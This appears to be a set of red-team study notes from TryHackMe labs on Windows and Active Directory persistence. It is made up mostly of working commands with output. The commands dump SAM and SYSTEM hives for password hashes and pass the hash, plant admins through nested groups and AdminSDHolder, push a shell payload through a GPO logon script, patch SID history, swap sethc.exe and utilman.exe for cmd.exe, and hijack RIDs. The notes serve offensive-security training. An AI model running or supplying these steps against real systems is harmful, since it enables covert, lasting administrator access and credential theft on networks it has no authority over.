6. Persistence
Group Membership
Special Groups
Adding to Admin group
C:\\> net localgroup administrators thmuser0 /add
Adding to Backup Operators
group. Users in this group won't have administrative privileges but will be allowed to read/write any file or registry key on the system, ignoring any configured DACL.
This would allow us to copy the content of the SAM and SYSTEM registry hives, which we can then use to recover the password hashes for all the users, enabling us to escalate to any administrative account
C:\\> net localgroup "Backup Operators" thmuser1 /add
# we also need to add them to RDP/WinRM access groups
C:\\> net localgroup "Remote Management Users" thmuser1 /add
C:\\> net localgroup "Remote Desktop Users" thmuser1 /add
After logging in via Backup Operators
, you have to change your local account token filter
C:\\> reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
Using Evil-WinRM to download the SAM and SYSTEM files
*Evil-WinRM* PS C:\\> reg save hklm\\system system.bak
The operation completed successfully.
*Evil-WinRM* PS C:\\> reg save hklm\\sam sam.bak
The operation completed successfully.
*Evil-WinRM* PS C:\\> download system.bak
Info: Download successful!
*Evil-WinRM* PS C:\\> download sam.bak
Info: Download successful!
Cracking it with impacket
user@AttackBox$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Target system bootKey: 0x41325422ca00e6552bb6508215d8b426
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cea1d7e8899f69e89088c4cb4bbdaa3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9657e898170eb98b25861ef9cafe5bd6:::
thmuser1:1011:aad3b435b51404eeaad3b435b51404ee:e41fd391af74400faa4ff75868c93cce:::
[*] Cleaning up...
PTH
user@AttackBox$ evil-winrm -i MACHINE_IP -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3
Nested Groups
Although Domain Admin
and Enterprise Admin
groups are all powerful, we should not always aim for high privileged groups as they are closely monitored
Creating Nested Groups for obfuscation
PS C:\\Users\\Administrator.ZA>New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 1" -SamAccountName "<username>_nestgroup1" -DisplayName "<username> Nest Group 1" -GroupScope Global -GroupCategory Security
PS C:\\Users\\Administrator.ZA>New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 2" -SamAccountName "<username>_nestgroup2" -DisplayName "<username> Nest Group 2" -GroupScope Global -GroupCategory Security
Adding nest_group2
to nestgroup1
PS C:\\Users\\Administrator.ZA>Add-ADGroupMember -Identity "<username>_nestgroup2" -Members "<username>_nestgroup1"
Repeat it a couple of times
PS C:\\Users\\Administrator.ZA> New-ADGroup -Path "OU=CONSULTING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 3" -SamAccountName "<username>_nestgroup3" -DisplayName "<username> Nest Group 3" -GroupScope Global -GroupCategory Security
PS C:\\Users\\Administrator.ZA> Add-ADGroupMember -Identity "<username>_nestgroup3" -Members "<username>_nestgroup2"
PS C:\\Users\\Administrator.ZA> New-ADGroup -Path "OU=MARKETING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 4" -SamAccountName "<username>_nestgroup4" -DisplayName "<username> Nest Group 4" -GroupScope Global -GroupCategory Security
PS C:\\Users\\Administrator.ZA> Add-ADGroupMember -Identity "<username>_nestgroup4" -Members "<username>_nestgroup3"
PS C:\\Users\\Administrator.ZA> New-ADGroup -Path "OU=IT,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 5" -SamAccountName "<username>_nestgroup5" -DisplayName "<username> Nest Group 5" -GroupScope Global -GroupCategory Security
PS C:\\Users\\Administrator.ZA> Add-ADGroupMember -Identity "<username>_nestgroup5" -Members "<username>_nestgroup4"
Add the whole nested group into Domain Admins
PS C:\\Users\\Administrator.ZA>Add-ADGroupMember -Identity "Domain Admins" -Members "<username>_nestgroup5"
Add our account to nestgroup1
. Because it’s now a child of Domain Admins
, it will inherit those privileges
PS C:\\Users\\Administrator.ZA>Add-ADGroupMember -Identity "<username>_nestgroup1" -Members "<low privileged username>"
AdminSDHolder
Group memberships can be removed, but AD group templates can persist and update our persistence once it refreshes, even if our membership was removed.
One such template is the AdminSDHolder
container which exists in every AD domain. Its Access Control List (ACL) is used as a template to copy permissions to all protected groups such as Domain Admins
, Administrators
, Enterprise Admins
, and Schema Admins
A process called SDProp
takes the ACL of the AdminSDHolder
container and applies it to all protected groups every 60 minutes.
If we modify AdminSDHolder
and add our account, we will have consistent admin privileges.
Open mmc
, and add the Users and Groups Snap-in (File->Add Snap-In->Active Directory Users and Computers
). Make sure to enable Advanced Features (View->Advanced Features
). We can find the AdminSDHolder
group under Domain->System
:

Navigate to the Security of the group (Right-click->Properties->Security
):

Click Add.
Search for your low-privileged username and click Check Names.
Click OK.
Click Allow on Full Control.
Click Apply.
Click OK.

Now we just need to wait 60 minutes, and our user will have full control over all Protected Groups, or we can invoke the process manually using PowerShell
PS C:\\Tools> Import-Module .\\Invoke-ADSDPropagation.ps1
PS C:\\Tools> Invoke-ADSDPropagation
Persistence through GPOs
Create a script on the victim machine persist.bat
with the contents:
copy \\\\za.tryhackme.loc\\sysvol\\za.tryhackme.loc\\scripts\\<username>_shell.exe C:\\tmp\\<username>_shell.exe && timeout /t 20 && C:\\tmp\\<username>_shell.exe
This copies the payload from SYSVOL
to the localhost and executes it
Copy the shell and the script to SYSVOL
$thm scp am0_shell.exe za\\\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/
$thm scp am0_script.bat za\\\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/
Create a new GPO that will be applied to all admins, so we get an admin that executes the script on login to get an admin shell
In your runas-spawned terminal, type MMC and press enter.
Click on File>Add/Remove Snap-in...
Select the Group Policy Management snap-in and click Add
Click OK

Right-click on the Admins OU and select Create a GPO in this domain

Right-click on your policy and select Enforced.
In the Group Policy Management Editor:
Under User Configuration, expand Policies->Windows Settings.
Select Scripts (Logon/Logoff).
Right-click on Logon->Properties
Select the Scripts tab.
Click Add->Browse.
Add our
persist.bat
Persistence Through SID History
SIDs are used to track the security principal and the account's access when connecting to resources
We require Domain Admin privileges for this attack
Checking SID history
PS C:\\Users\\Administrator.ZA> Get-ADUser <your ad username> -properties sidhistory,memberof
DistinguishedName : CN=aaron.jones,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc
Enabled : True
GivenName : Aaron
MemberOf : {CN=Internet Access,OU=Groups,DC=za,DC=tryhackme,DC=loc}
Name : aaron.jones
ObjectClass : user
ObjectGUID : 7d4c08e5-05b6-45c4-920d-2a6dbba4ca22
SamAccountName : aaron.jones
SID : S-1-5-21-3885271727-2693558621-2658995185-1429
SIDHistory : {} <-- empty history
Surname : Jones
UserPrincipalName :
Patching SID History
PS C:\\Users\\Administrator.ZA>Stop-Service -Name ntds -force
PS C:\\Users\\Administrator.ZA> Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\\Windows\\NTDS\\ntds.dit
PS C:\\Users\\Administrator.ZA>Start-Service -Name ntds
Rerun to check SID history
PS C:\\Users\\aaron.jones> Get-ADUser aaron.jones -Properties sidhistory
DistinguishedName : CN=aaron.jones,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc
Enabled : True
GivenName : Aaron
Name : aaron.jones
ObjectClass : user
ObjectGUID : 7d4c08e5-05b6-45c4-920d-2a6dbba4ca22
SamAccountName : aaron.jones
SIDHistory : {S-1-5-21-3885271727-2693558621-2658995185-512} <-- patched!
Surname : Jones
UserPrincipalName :
Scheduled Task
Creating a task
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "THMtask1"
Deleting the task
schtasks /S TARGET /TN "THMtask1" /DELETE /F
sc.exe
Ports:
135/TCP, 49152-65535/TCP (DCE/RPC)
445/TCP (RPC over SMB Named Pipes)
139/TCP (RPC over SMB Named Pipes)
Required Group Memberships: Administrators
Create a service on the remote machine using sc.exe
C:\> sc.exe \\thmiis.za.tryhackme.com create THMservice-new binPath= "%windir%\myservice.exe" start= auto
C:\> sc.exe \\thmiis.za.tryhackme.com start THMservice-new
%windir%\myservice.exe
will be executed when the service is started
To stop and delete the service, we can then execute the following commands:
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
Startup Apps
Applications which has shortcuts in
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
will be started when any user logs in to the machine.If we write our payload here and an admin logs in, our payload will be executed with admin privileges
They have to be shortcuts!
Script for creating shortcuts in C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
(if it’s writable)
> type CreateShortcut.vbs
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\rev.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\\path\\to\\payload.exe"
oLink.Save
> cscript CreateShortcut.vbs
Sticky Keys
After pressing SHIFT
5 times, Windows will execute the binary in C:\\Windows\\System32\\sethc.exe
If we replace the binary with our payload, it will execute
C:\\> takeown /f c:\\Windows\\System32\\sethc.exe
SUCCESS: The file (or folder): "c:\\Windows\\System32\\sethc.exe" now owned by user "PURECHAOS\\Administrator".
C:\\> icacls C:\\Windows\\System32\\sethc.exe /grant Administrator:F
processed file: C:\\Windows\\System32\\sethc.exe
Successfully processed 1 files; Failed processing 0 files
C:\\> copy c:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\sethc.exe
Overwrite C:\\Windows\\System32\\sethc.exe? (Yes/No/All): yes
1 file(s) copied.
Utilman
C:\\> takeown /f c:\\Windows\\System32\\utilman.exe
SUCCESS: The file (or folder): "c:\\Windows\\System32\\utilman.exe" now owned by user "PURECHAOS\\Administrator".
C:\\> icacls C:\\Windows\\System32\\utilman.exe /grant Administrator:F
processed file: C:\\Windows\\System32\\utilman.exe
Successfully processed 1 files; Failed processing 0 files
C:\\> copy c:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\utilman.exe
Overwrite C:\\Windows\\System32\\utilman.exe? (Yes/No/All): yes
1 file(s) copied.
Login Triggered
Startup programs
C:\\Users\\<your_username>\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
stores executables to be run whenever the user logs in
If we want to force all users to run a payload while logging in, we can use the folder under C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp
Run / RunOnce
Force a user to execute a program on logon via the registry by using the following registry entries to specify applications to run at logon:
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce
Any program specified under the Run
keys will run every time the user logs on. Programs specified under the RunOnce
keys will only be executed a single time.

Winlogon
Winlogon uses some registry keys under
HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\
Userinit
points touserinit.exe
, which is in charge of restoring your user profile preferences.shell
points to the system's shell, which is usuallyexplorer.exe
.
If we'd replace any of the executables, we would break the logon sequence, but you can append commands separated by a comma and Winlogon will process them all.


Logon Scripts
One of the things userinit.exe
does while loading your user profile is to check for an environment variable called UserInitMprLogonScript
and executes any commands there

File Associations
The default operating system file associations are kept inside the registry, where a key is stored for every single file type under HKLM\\Software\\Classes\\
.
Checking which program is used to open .txt
files; we can check for the .txt
subkey and find which Programmatic ID (ProgID) is associated with it.
A ProgID is an identifier to a program installed on the system. For .txt files, we will have a ProgID of txtfile

After getting txtfile
we find which Program is used to run txtfile
in shell\\open\\command

We can change the value of shell\\open\\command
to specify any program we want to run

RID Hijacking
When a user is created, an identifier called Relative ID
(RID) is assigned to them.
When a user logs on, the LSASS process gets its RID from the SAM registry hive and creates an access token associated with that RID.
If we can tamper with the registry value, we can make windows assign an Administrator access token to an unprivileged user by associating the same RID to both accounts.
In any Windows system, the default Administrator account is assigned the RID = 500
, and regular users usually have RID >= 1000
.
Getting all RIDs
C:\\> wmic useraccount get name,sid
Name SID
Administrator S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount S-1-5-21-1966530601-3185510712-10604624-503
Guest S-1-5-21-1966530601-3185510712-10604624-501
thmuser1 S-1-5-21-1966530601-3185510712-10604624-1008
thmuser2 S-1-5-21-1966530601-3185510712-10604624-1009
thmuser3 S-1-5-21-1966530601-3185510712-10604624-1010
# The RID is the last bit of the SID (1010 for thmuser3 and 500 for Administrator).
Edit the SAM in Regedit. You need to use SYSTEM account for this, and not just an Administrator account
C:\\tools\\pstools> PsExec64.exe -i -s regedit
Go to HKLM\\SAM\\SAM\\Domains\\Account\\Users\\
Since we want to modify thmuser3, we need to search for a key with its RID in hex (1010 = 0x3F2)
Under the corresponding key, there will be a value called F, which holds the user's effective RID at position 0x30:

The RID is stored using little-endian notation, so its bytes appear reversed.
Replace those two bytes with the RID of Administrator in hex (500 = 0x01F4), switching around the bytes (F401):

Last updated